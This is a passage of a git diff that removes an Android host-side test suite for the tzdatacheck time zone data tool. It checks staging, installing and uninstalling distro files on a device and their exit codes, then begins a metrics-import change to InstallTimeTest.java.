-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
-    public void testStaging_uninstall_noCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged contains an uninstall, and there is something to uninstall.
-    public void testStaging_uninstall_withCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        createStagedUninstallOnHost(dataStagedDir);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] distroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/staged exists but /current dir is a file.
-    public void testStaging_install_currentDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged install.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] distroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataStagedDir, distroBytes);
-
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/staged contains an install, but there is nothing to replace.
-    public void testStaging_install_noCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged install.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
-    }
-
-    // {dataDir}/staged contains an install, and there is something to replace.
-    public void testStaging_install_withCurrent() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        DistroVersion currentDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
-        DistroVersion stagedDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 2);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall.
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder()
-                .setDistroVersion(stagedDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] currentDistroBytes = createValidDistroBuilder()
-                .setDistroVersion(currentDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, currentDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. Failures due to staging issues are
-        // generally ignored providing the device is left in a reasonable state.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "installed" state.
-        // The stagedDistro should now be the one in the current dir.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
-    }
-
-    // {dataDir}/staged contains an invalid install, and there is something to replace.
-    // Most of the invalid cases are tested without staging; this is just to prove that staging
-    // an invalid distro is handled the same.
-    public void testStaging_install_withCurrent_invalidStaged() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-
-        // Create a staged uninstall which contains invalid files (missing distro version).
-        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
-        byte[] stagedDistroBytes = createValidDistroBuilder()
-                .clearVersionForTests()
-                .buildUnvalidatedBytes();
-        unpackOnHost(dataStagedDir, stagedDistroBytes);
-
-        // Create a current installed distro.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, currentDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code. The staged directory will have become the
-        // current one, but then it will be discovered to be invalid and will be removed.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the device was left in a valid "uninstalled" state.
-        assertDevicePathDoesNotExist(dataStagedDir);
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // No {dataDir}/current exists.
-    public void testNoCurrentDataDir() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Deliberately not creating anything on host in the data dir here, leaving the empty
-        // structure.
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-    }
-
-    // {dataDir}/current exists but it is a file.
-    public void testCurrentDataDirIsFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        // Create a file with the same name as the directory that tzdatacheck expects.
-        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(2, runTzDataCheckOnDevice());
-
-        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
-        // than delete.
-        assertDevicePathExists(dataCurrentDir);
-        assertDevicePathIsFile(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but is missing the distro version file.
-    public void testMissingDataDirDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
-                .clearVersionForTests()
-                .buildUnvalidatedBytes();
-        unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version file is short.
-    public void testShortDataDirDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
-        // Replace the distro version file with a short file.
-        Path distroVersionFile =
-                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
-        assertHostFileExists(distroVersionFile);
-        Files.write(distroVersionFile, new byte[3]);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(3, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists and the distro version file is long enough, but contains junk.
-    public void testCorruptDistroVersionFile() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
-
-        // Replace the distro version file with junk.
-        Path distroVersionFile =
-                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
-        assertHostFileExists(distroVersionFile);
-
-        int fileLength = (int) Files.size(distroVersionFile);
-        byte[] junkArray = new byte[fileLength]; // all zeros
-        Files.write(distroVersionFile, junkArray);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(4, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMajorDistroVersion_older() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion oldMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion() - 1, 1, VALID_RULES_VERSION, 1);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(oldMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMajorDistroVersion_newer() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion newMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion() + 1,
-                TzDataSetVersion.currentFormatMinorVersion(),
-                VALID_RULES_VERSION, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(newMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is incorrect.
-    public void testInvalidMinorDistroVersion_older() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion oldMinorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion() - 1,
-                VALID_RULES_VERSION, 1);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(oldMinorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(5, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was deleted.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    // {dataDir}/current exists but the distro version is newer (which is accepted because it should
-    // be backwards compatible).
-    public void testValidMinorDistroVersion_newer() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion newMajorDistroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion() + 1,
-                VALID_RULES_VERSION, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(newMajorDistroVersion)
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid but the tz_version file in /system is missing.
-    public void testSystemTzVersionFileMissing() throws Exception {
-        // Deliberately not writing anything in /system here.
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, validDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(6, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
-    }
-
-    // {dataDir}/current is valid but the tz_version file in /system is junk.
-    public void testSystemTzVersionFileCorrupt() throws Exception {
-        // Set up the /system directory structure on host.
-        byte[] invalidTzDataBytes = new byte[20];
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
-        unpackOnHost(dataCurrentDir, validDistroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(7, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
-    }
-
-    // {dataDir}/current is valid and the tz_version file in /system is for older data.
-    public void testSystemTzRulesOlder() throws Exception {
-        // Set up the /system directory structure on host.
-        createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        // Newer than RULES_VERSION_ONE in /system
-        final String distroRulesVersion = RULES_VERSION_TWO;
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(), distroRulesVersion, VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
-    // kept.
-    public void testSystemTzVersionSame() throws Exception {
-        // Set up the /system directory structure on host.
-        final String systemRulesVersion = VALID_RULES_VERSION;
-        createSystemTzVersionFileOnHost(systemRulesVersion);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                systemRulesVersion,
-                VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // Assert the current data directory was not touched.
-        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
-    }
-
-    // {dataDir}/current is valid and the tzdata file in /system is the newer.
-    public void testSystemTzVersionNewer() throws Exception {
-        // Set up the /system directory structure on host.
-        String systemRulesVersion = RULES_VERSION_TWO;
-        createSystemTzVersionFileOnHost(systemRulesVersion);
-
-        // Set up the /data directory structure on host.
-        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
-        String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
-        DistroVersion distroVersion = new DistroVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                distroRulesVersion,
-                VALID_REVISION);
-        byte[] distroBytes = createValidDistroBuilder()
-                .setDistroVersion(distroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .buildBytes();
-        unpackOnHost(dataCurrentDir, distroBytes);
-
-        // Push the host test directory and contents to the device.
-        pushHostTestDirToDevice();
-
-        // Execute tzdatacheck and check the status code.
-        assertEquals(0, runTzDataCheckOnDevice());
-
-        // It is important the dataCurrentDir is deleted in this case - this test case is the main
-        // reason tzdatacheck exists.
-        assertDevicePathDoesNotExist(dataCurrentDir);
-    }
-
-    private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
-        byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
-    }
-
-    private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
-        createHostDirectory(stagedDir);
-
-        PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
-        // Create an empty file.
-        new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
-    }
-
-    private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
-        createHostDirectory(path);
-        new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
-    }
-
-    private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
-        String distroRulesVersion = VALID_RULES_VERSION;
-        DistroVersion validDistroVersion =
-                new DistroVersion(
-                        TzDataSetVersion.currentFormatMajorVersion(),
-                        TzDataSetVersion.currentFormatMinorVersion(),
-                        distroRulesVersion, VALID_REVISION);
-        return new TimeZoneDistroBuilder()
-                .setDistroVersion(validDistroVersion)
-                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
-                .setIcuDataFile(new byte[10]);
-    }
-
-    private static byte[] createValidTzDataBytes(String rulesVersion) {
-        return new ZoneInfoTestHelper.TzDataBuilder()
-                .initializeToValid()
-                .setHeaderMagic("tzdata" + rulesVersion)
-                .build();
-    }
-
-    private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
-        return new TzDataSetVersion(
-                TzDataSetVersion.currentFormatMajorVersion(),
-                TzDataSetVersion.currentFormatMinorVersion(),
-                rulesVersion,
-                VALID_REVISION)
-                .toBytes();
-    }
-
-    private int runTzDataCheckOnDevice() throws Exception {
-        return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
-    }
-
-    private int runTzDataCheckWithArgs(String[] args) throws Exception {
-        String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
-        return executeCommandOnDeviceWithResultCode(command).statusCode;
-    }
-
-    private static String createTzDataCheckCommand(String rootDir, String[] args) {
-        StringJoiner joiner = new StringJoiner(" ");
-        String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
-        joiner.add(tzDataCheckCommand);
-        for (String arg : args) {
-            joiner.add(arg);
-        }
-        return joiner.toString();
-    }
-
-    private static void assertHostFileExists(Path path) {
-        assertTrue(Files.exists(path));
-    }
-
-    private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
-        return getDevice().executeShellCommand(command);
-    }
-
-    private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
-        executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
-    }
-
-    private static void createHostDirectory(PathPair dir) throws Exception {
-        Files.createDirectory(dir.hostPath);
-    }
-
-    private static class ShellResult {
-        final String output;
-        final int statusCode;
-
-        private ShellResult(String output, int statusCode) {
-            this.output = output;
-            this.statusCode = statusCode;
-        }
-    }
-
-    private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
-        // A file to hold the script we're going to create.
-        PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
-        // A file to hold the output of the script.
-        PathPair scriptOut = mTestRootDir.createSubPath("script.out");
-
-        // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
-        // and printing the result code.
-        String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
-
-        // Parse and return the result.
-        try {
-            Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
-
-            // Push the script to the device.
-            pushFile(scriptFile);
-
-            // Execute the script using "sh".
-            String execCommandUnderShell =
-                    mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
-            String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
-
-            // Pull back scriptOut to the host and read the content.
-            pullFile(scriptOut);
-            byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
-            String output = new String(outputBytes, StandardCharsets.US_ASCII);
-
-            int resultCode;
-            try {
-                resultCode = Integer.parseInt(resultCodeString);
-            } catch (NumberFormatException e) {
-                fail("Command: " + command
-                        + " returned a non-integer: \"" + resultCodeString + "\""
-                        + ", output=\"" + output + "\"");
-                return null;
-            }
-            return new ShellResult(output, resultCode);
-        } finally {
-            deleteDeviceFile(scriptFile, false /* failOnError */);
-            deleteDeviceFile(scriptOut, false /* failOnError */);
-            deleteHostFile(scriptFile, false /* failOnError */);
-            deleteHostFile(scriptOut, false /* failOnError */);
-        }
-    }
-
-    private void pushHostTestDirToDevice() throws Exception {
-        assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
-    }
-
-    private void pullFile(PathPair file) throws DeviceNotAvailableException {
-        assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
-                getDevice().pullFile(file.devicePath, file.hostFile()));
-    }
-
-    private void pushFile(PathPair file) throws DeviceNotAvailableException {
-        assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
-                getDevice().pushFile(file.hostFile(), file.devicePath));
-    }
-
-    private void deleteHostFile(PathPair file, boolean failOnError) {
-        try {
-            Files.deleteIfExists(file.hostPath);
-        } catch (IOException e) {
-            if (failOnError) {
-                fail(e);
-            }
-        }
-    }
-
-    private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
-            throws DeviceNotAvailableException {
-        String deviceDir = dir.devicePath;
-        try {
-            executeCommandOnDeviceRaw("rm -r " + deviceDir);
-        } catch (Exception e) {
-            if (failOnError) {
-                throw deviceFail(e);
-            }
-        }
-    }
-
-    private void deleteDeviceFile(PathPair file, boolean failOnError)
-            throws DeviceNotAvailableException {
-        try {
-            assertDevicePathIsFile(file);
-            executeCommandOnDeviceRaw("rm " + file.devicePath);
-        } catch (Exception e) {
-            if (failOnError) {
-                throw deviceFail(e);
-            }
-        }
-    }
-
-    private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
-        Path hostPath = dir.hostPath;
-        if (Files.exists(hostPath)) {
-            Consumer<Path> pathConsumer = file -> {
-                try {
-                    Files.delete(file);
-                } catch (Exception e) {
-                    if (failOnError) {
-                        fail(e);
-                    }
-                }
-            };
-
-            try {
-                Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
-            } catch (IOException e) {
-                fail(e);
-            }
-        }
-    }
-
-    private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
-        assertTrue(getDevice().doesFileExist(s));
-    }
-
-    private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
-        assertDeviceFileExists(path.devicePath);
-    }
-
-    private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
-            throws Exception {
-        // Pull back just the version file and compare it.
-        File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
-        try {
-            String remoteVersionFile = distroPath.devicePath + "/"
-                    + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
-            assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
-                    getDevice().pullFile(remoteVersionFile, localFile));
-
-            byte[] bytes = Files.readAllBytes(localFile.toPath());
-            assertArrayEquals(bytes,
-                    new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
-        } finally {
-            localFile.delete();
-        }
-    }
-
-    private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
-        assertFalse(getDevice().doesFileExist(path.devicePath));
-    }
-
-    private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
-        // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
-        // requires that the user has rights to list all files beneath each and every directory in
-        // the path. That is not the case for the shell user and the /data and /data/local
-        // directories. http://b/35753041.
-        String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
-        assertTrue(path.devicePath + " not a file. Received: " + output,
-                output.startsWith("regular") && output.endsWith("file\n"));
-    }
-
-    private static DeviceNotAvailableException deviceFail(Exception e)
-            throws DeviceNotAvailableException {
-        if (e instanceof DeviceNotAvailableException) {
-            throw (DeviceNotAvailableException) e;
-        }
-        fail(e);
-        return null;
-    }
-
-    private static void fail(Exception e) {
-        e.printStackTrace();
-        fail(e.getMessage());
-    }
-
-    /** A path that has equivalents on both host and device. */
-    private static class PathPair {
-        private final Path hostPath;
-        private final String devicePath;
-
-        PathPair(Path hostPath, String devicePath) {
-            this.hostPath = hostPath;
-            this.devicePath = devicePath;
-        }
-
-        File hostFile() {
-            return hostPath.toFile();
-        }
-
-        PathPair createSubPath(String s) {
-            return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
-        }
-    }
-}
diff --git a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
index c45b021..b17c9b0 100644
--- a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
@@ -22,13 +22,14 @@
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.util.MeasureRun;
 import com.android.compatibility.common.util.MeasureTime;
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.metrics.proto.MetricMeasurement.Directionality;
+import com.android.tradefed.metrics.proto.MetricMeasurement.DoubleValues;
+import com.android.tradefed.metrics.proto.MetricMeasurement.Measurements;
+import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
@@ -46,7 +47,6 @@
     private IAbi mAbi;
 
     private static final String TAG = "InstallTimeTest";
